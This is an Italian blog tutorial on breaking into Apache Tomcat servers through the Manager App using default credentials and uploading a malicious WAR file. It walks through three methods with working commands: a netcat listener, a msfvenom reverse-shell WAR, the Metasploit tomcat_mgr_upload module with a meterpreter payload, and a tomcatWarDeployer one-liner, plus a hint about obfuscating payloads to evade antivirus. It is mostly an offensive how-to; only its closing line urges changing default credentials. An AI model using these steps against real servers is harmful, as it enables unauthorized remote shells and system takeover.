Violare Tomcat tramite upload di un file war malevolo con tre diverse metodologie

Tempo di lettura: 7 minuti
Data pubblicazione: November 6, 2018

VIOLARE TOMCAT TRAMITE UPLOAD DI UN FILE WAR MALEVOLO CON TRE DIVERSE METODOLOGIE by TheInnocent

Introduzione

Tomcat è un web server opensource tra i più utilizzati al mondo, è sviluppato da Apache e supporta l’esecuzione di Java Servlet e, dunque, di tutte le tecnologie che su di esse si basano. Essendo tanto diffuso, le tecniche di seguito illustrate possono essere applicate in una serie praticamente infinita di frangenti, rendendo la seguente trattazione, un’ottima guida introduttiva per ogni attacco a server Tomcat.

Tomcat Home Page
Tomcat Home Page

Credenziali di default

In questo articolo partiamo dall’assunzione che l’incauto amministratore del sito vittima, abbia lasciato abilitate le credenziali di default in Tomcat, che sono

username: tomcat

password: s3cret

Cionondimeno, i seguenti procedimenti possono applicarsi anche in caso che l’attaccante conosca, per un qualunque motivo, una qualunqe altra coppia di credenziali valide (altre password di default è possibile trovarle a questo indirizzo).

Definizione dell’entry point

Per trovare il nostro entry point, navighiamo verso

/manager/html

oppure, nella homepage, facciamo click sul pulsante con la scritta “Manager App”.

Ci verranno chieste le credenziali ma, come sottolineato in precedenza, questo non costituisce per noi un problema. Una volta aperta la pagina “Manager App”, vi troverete davanti la seguente schermata:

Tomcat Manager
Tomcat Manager

Come vedete, la pagina presenta una sezione chiamata “WAR file to deploy”. Questo è il punto di accesso privilegiato da cui potremo caricare il nostro file war malevolo. Una volta fatto l’upload di quest’ultimo, sulla nostra macchina apriremo un listener da terminale sulla porta 4444 con il comando

nc -lvp 4444

dove:

  • l indica la modalità “in ascolto” (listener);
  • v sta per “verbose”;
  • p per “port”.

Fatto questo, eseguiremo il file caricato con successo, da browser, facendo click su “deploy” e, in seguito, semplicemente richiedendo la sua destinazione tipica:

http://sitovittima/nome_del_file_così_come_lo_avete_caricato.war

Una volta caricata quest’ultima pagina web, vedrete spuntare una shell dal vostro listener. Ma come procurarsi un file war adatto ai nostri scopi?

Oltre alla possibilità di scrivere voi stessi il file malevolo, in questo articolo vengono proposti tre differenti metodi, che portano tutti al medesimo risultato, ovvero una reverse-shell aperta sul sistema vittima.

Metodo #1

Il primo metodo consiste nel creare noi stessi il file .war avvalendoci di msfvenom. Msfvenom, è in grado di scrivere automaticamente numerosi tipi di payload, in grado di aprirci le porte del sistema vittima tramite una shell. Nel nostro caso, useremo il seguente comando, dove -f sta per “format” e -p sta per “payload”:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=il_nostro_ip LPORT=la_porta_del_listener -f war > shell.war

Msfvenom, completerà il suo compito in pochi secondi, restituendo un output molto minimalista:

Output msfvenom
Output msfvenom

Notare che, nel nostro comando, non abbiamo specificato una particolare directory di destinazione, quindi il file .war potrà essere trovato nella directory corrente da cui è stato eseguito il comando. Volendo crearlo in una directory differente, basterà anteporre il path al nome del file, per esempio

Scrivania/shell.war

Una volta creato il nostro payload, potremo farne l’upload su Tomcat da “Manager App”, eseguirlo facendo click nel browser su http://indirizzo_sito/shell.war e osservare compiaciuti la nostra shell apparire nel terminale dove avevamo aperto il listener con netcat.

Metodo #2

Il secondo metodo, si avvale direttamente di metasploit per eseguire l’intera procedura di apertura listener, uploading ed esecuzione del payload. L’unica cosa che dovremo fare sarà, come nel caso precedente, fornire le “coordinate” per permettere a metasploit di lavorare correttamente e aprire una connessione tra il server e il nostro pc. Per fare questo, una volta lanciata msfconsole, utilizzeremo

exploit/multi/http/tomcat_mgr_upload

come exploit, e

windows/meterpreter/reverse_tcp

come payload. Avremo cura poi di definire correttamente tutti i parametri quali: RHOST, RPORT, LHOST, LPORT, HttpUsername, HttpPassword, target. Infine, diamo il comando

run

e osserviamo metasploit fare per noi tutto il lavoro sporco, come si vede nella seguente schermata, in cui una shell meterpreter viene aperta con successo:

Shell ottenuta con MSFConsole
Shell ottenuta con MSFConsole

Metodo #3

Il terzo metodo, grazie ad un elevato livello di automazione, permette di eseguire tutta la proceduta vista nei due metodi precedenti, con un unico comando. Per fare ciò, dovremo scaricare sul nostro pc tomcatWarDeployer, un interessante tool messo a disposizione da mgeeky su github, all’indirizzo

<a href="https://github.com/mgeeky/tomcatWarDeployer">https://github.com/mgeeky/tomcatWarDeployer</a>

Una volta scaricato il programma, ci basterà digitare, sul nostro pc, il seguente comando da terminale, per aprire una shell sul sistema vittima:

python tomcatWarDeployer.py -v -x -P s3cret -U tomcat -p porta_listener -H mio_ip ip_server_vittima:8080

Ancora una volta, si assume che le credenziali di accesso siano già in nostro possesso. Nella seguente schermata, potete osservare l’esecuzione del comando e la shell che si apre con successo nel nostro terminale:

Esecuzione dello script
Esecuzione dello script
Shell ottenuta
Shell ottenuta

Conclusioni

Come avrete notato, ci sono differenti metodi per poter ottenere una shell da Tomcat Manager. Nel caso in cui sul sistema sia presente un antivirus, è possibile che la reverse shell venga identificata ed eliminata, ma giocando con le impostazioni di msfvenom si potrebbe ofuscare il payload. E, nel caso abbiate un Tomcat Manager con le credenziali di default..cambiatele!